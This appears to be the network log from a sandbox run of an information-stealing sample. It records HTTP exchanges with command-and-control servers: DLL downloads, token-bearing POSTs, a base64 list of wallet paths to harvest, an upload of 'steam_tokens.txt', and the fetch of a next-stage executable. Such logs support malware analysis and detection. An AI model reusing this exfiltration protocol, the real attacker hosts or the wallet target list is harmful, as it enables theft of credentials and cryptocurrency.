07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!^j@A`W, P/0AShZ.texta `.rdata@@.dataD@.00cfg@@.tls@.rsrc @@.relocA0B@B
Nov 20, 2024 08:09:24.214541912 CET	95	OUT	GET /68b591d6548ec281/msvcp140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:24.439834118 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "6dde8-5e7e950876500" Accept-Ranges: bytes Content-Length: 450024 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$1C___)n__^"_^_\_[_Z____]_Rich_PEL0]"!(`@,@AgrA=`x8w@pc@.text&( `.dataH)@,@.idatapD@@.didat4X@.rsrcZ@@.reloc=>^@B
Nov 20, 2024 08:09:24.807727098 CET	91	OUT	GET /68b591d6548ec281/nss3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:25.028804064 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:24 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "1f3950-5e7e950876500" Accept-Ranges: bytes Content-Length: 2046288 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!.`pl- @A&@PxP/`\\|\&@.text `.rdatal@@.dataDR.@.00cfg@@@.rsrcxP@@.reloc\`@B
Nov 20, 2024 08:09:26.492400885 CET	95	OUT	GET /68b591d6548ec281/softokn3.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:26.715373993 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:26 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "3ef50-5e7e950876500" Accept-Ranges: bytes Content-Length: 257872 Content-Type: application/x-msdos-program Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL4c"!PSg@ADvSwP/58q{.text& `.rdata@@.data\|@.00cfg@@.rsrc@@.reloc56@B
Nov 20, 2024 08:09:26.991520882 CET	99	OUT	GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1 Host: 185.215.113.206 Cache-Control: no-cache
Nov 20, 2024 08:09:27.213263988 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:27 GMT Server: Apache/2.4.41 (Ubuntu) Last-Modified: Mon, 05 Sep 2022 07:49:08 GMT ETag: "13bf0-5e7e950876500" Accept-Ranges: bytes Content-Length: 80880 Content-Type: application/x-msdos-program Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$08euRichPEL\|0]"!0m@AA 8 @.text `.data@.idata@@.rsrc@@.reloc @B
Nov 20, 2024 08:09:28.173506975 CET	203	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KKFCFBKFCFBFIDGCGDHJ Host: 185.215.113.206 Content-Length: 1067 Connection: Keep-Alive Cache-Control: no-cache
Nov 20, 2024 08:09:29.100318909 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:28 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=92 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:29.174210072 CET	469	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JDAKJDAAFBKFHIEBFCFB Host: 185.215.113.206 Content-Length: 267 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 44 41 4b 4a 44 41 41 46 42 4b 46 48 49 45 42 46 43 46 42 2d 2d 0d 0a Data Ascii: ------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------JDAKJDAAFBKFHIEBFCFBContent-Disposition: form-data; name="message"wallets------JDAKJDAAFBKFHIEBFCFB--
Nov 20, 2024 08:09:29.398914099 CET	1236	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Server: Apache/2.4.41 (Ubuntu) Vary: Accept-Encoding Content-Length: 2408 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 51 6d 6c 30 59 32 39 70 62 69 42 44 62 33 4a 6c 66 44 46 38 58 45 4a 70 64 47 4e 76 61 57 35 63 64 32 46 73 62 47 56 30 63 31 78 38 64 32 46 73 62 47 56 30 4c 6d 52 68 64 48 77 78 66 45 4a 70 64 47 4e 76 61 57 34 67 51 32 39 79 5a 53 42 50 62 47 52 38 4d 58 78 63 51 6d 6c 30 59 32 39 70 62 6c 78 38 4b 6e 64 68 62 47 78 6c 64 43 6f 75 5a 47 46 30 66 44 42 38 52 47 39 6e 5a 57 4e 76 61 57 35 38 4d 58 78 63 52 47 39 6e 5a 57 4e 76 61 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 46 4a 68 64 6d 56 75 49 45 4e 76 63 6d 56 38 4d 58 78 63 55 6d 46 32 5a 57 35 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 6d 52 68 64 48 77 77 66 45 52 68 5a 57 52 68 62 48 56 7a 49 45 31 68 61 57 35 75 5a 58 52 38 4d 58 78 63 52 47 46 6c 5a 47 46 73 64 58 4d 67 54 57 46 70 62 6d 35 6c 64 46 78 33 59 57 78 73 5a 58 52 7a 58 48 78 7a 61 47 55 71 4c 6e 4e 78 62 47 6c 30 5a 58 77 77 66 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 46 74 49 45 64 79 5a 57 56 75 66 44 46 38 58 45 4a 73 62 32 4e 72 63 33 52 79 5a 57 [TRUNCATED] Data Ascii: Qml0Y29pbiBDb3JlfDF8XEJpdGNvaW5cd2FsbGV0c1x8d2FsbGV0LmRhdHwxfEJpdGNvaW4gQ29yZSBPbGR8MXxcQml0Y29pblx8KndhbGxldCouZGF0fDB8RG9nZWNvaW58MXxcRG9nZWNvaW5cfCp3YWxsZXQqLmRhdHwwfFJhdmVuIENvcmV8MXxcUmF2ZW5cfCp3YWxsZXQqLmRhdHwwfERhZWRhbHVzIE1haW5uZXR8MXxcRGFlZGFsdXMgTWFpbm5ldFx3YWxsZXRzXHxzaGUqLnNxbGl0ZXwwfEJsb2Nrc3RyZWFtIEdyZWVufDF8XEJsb2Nrc3RyZWFtXEdyZWVuXHdhbGxldHNcfCouKnwxfFdhc2FiaSBXYWxsZXR8MXxcV2FsbGV0V2FzYWJpXENsaWVudFxXYWxsZXRzXHwqLmpzb258MHxFdGhlcmV1bXwxfFxFdGhlcmV1bVx8a2V5c3RvcmV8MHxFbGVjdHJ1bXwxfFxFbGVjdHJ1bVx3YWxsZXRzXHwqLip8MHxFbGVjdHJ1bUxUQ3wxfFxFbGVjdHJ1bS1MVENcd2FsbGV0c1x8Ki4qfDB8RXhvZHVzfDF8XEV4b2R1c1x8ZXhvZHVzLmNvbmYuanNvbnwwfEV4b2R1c3wxfFxFeG9kdXNcfHdpbmRvdy1zdGF0ZS5qc29ufDB8RXhvZHVzXGV4b2R1cy53YWxsZXR8MXxcRXhvZHVzXGV4b2R1cy53YWxsZXRcfHBhc3NwaHJhc2UuanNvbnwwfEV4b2R1c1xleG9kdXMud2FsbGV0fDF8XEV4b2R1c1xleG9kdXMud2FsbGV0XHxzZWVkLnNlY298MHxFeG9kdXNcZXhvZHVzLndhbGxldHwxfFxFeG9kdXNcZXhvZHVzLndhbGxldFx8aW5mby5zZWNvfDB8RWxlY3Ryb24gQ2FzaHwxfFxFbGVjdHJvbkNhc2hcd2FsbGV0c1x8Ki4qfDB8TXVsdGlEb2dlfDF8
Nov 20, 2024 08:09:29.406461000 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHIIJJJKEGIDGCBAFIJ Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 49 49 4a 4a 4a 4b 45 47 49 44 47 43 42 41 46 49 4a 2d 2d 0d 0a Data Ascii: ------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------IDHIIJJJKEGIDGCBAFIJContent-Disposition: form-data; name="message"files------IDHIIJJJKEGIDGCBAFIJ--
Nov 20, 2024 08:09:29.630979061 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:29.646965027 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----AFHIEBKKFHIEGCAKECGH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 41 46 48 49 45 42 4b 4b 46 48 49 45 47 43 41 4b 45 43 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------AFHIEBKKFHIEGCAKECGHContent-Disposition: form-data; name="file"------AFHIEBKKFHIEGCAKECGH--
Nov 20, 2024 08:09:30.367029905 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:29 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 20, 2024 08:09:30.396913052 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----KECFIDGCBFBAKEBFBKFB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 4b 45 43 46 49 44 47 43 42 46 42 41 4b 45 42 46 42 4b 46 42 2d 2d 0d 0a Data Ascii: ------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------KECFIDGCBFBAKEBFBKFBContent-Disposition: form-data; name="message"ybncbhylepme------KECFIDGCBFBAKEBFBKFB--
Nov 20, 2024 08:09:30.623106003 CET	271	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:30 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=88 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=
Nov 20, 2024 08:09:33.140619040 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDHDGDHJEGHIDGDHCGCB Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 32 38 33 39 35 33 62 33 66 39 62 33 31 32 31 66 30 38 36 30 35 66 66 39 65 38 39 61 38 62 32 65 62 35 66 66 32 63 66 64 36 30 64 63 34 64 61 38 30 33 65 33 65 62 32 61 66 35 30 34 36 33 65 66 65 64 34 30 37 38 64 34 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 49 44 48 44 47 44 48 4a 45 47 48 49 44 47 44 48 43 47 43 42 2d 2d 0d 0a Data Ascii: ------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="token"283953b3f9b3121f08605ff9e89a8b2eb5ff2cfd60dc4da803e3eb2af50463efed4078d4------IDHDGDHJEGHIDGDHCGCBContent-Disposition: form-data; name="message"wkkjqaiaxkhb------IDHDGDHJEGHIDGDHCGCB--
Nov 20, 2024 08:09:33.865340948 CET	202	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 07:09:33 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=87 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.5	49920	185.215.113.16	80	1656	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 20, 2024 08:09:30.632883072 CET	80	OUT	GET /mine/random.exe HTTP/1.1 Host: 185.215.113.16 Cache-Control: no-cache
Nov 20, 2024 08:09:31.323582888 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 20 Nov 2024 07:09:31 GMT Content-Type: application/octet-stream Content-Length: 1870336 Last-Modified: Wed, 20 Nov 2024 06:31:49 GMT Connection: keep-alive ETag: "673d8255-1c8a00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 f0 49 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVfI@ Jr;@WkH`II @.rsrcH@.idata @ )@lkitmsuepp0n@tmsbqfozId@.taggant0I"h@
Nov 20, 2024 08:09:31.323606014 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:09:31.323944092 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:09:31.323957920 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:09:31.324136972 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 20, 2024 08:09:31.324299097 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
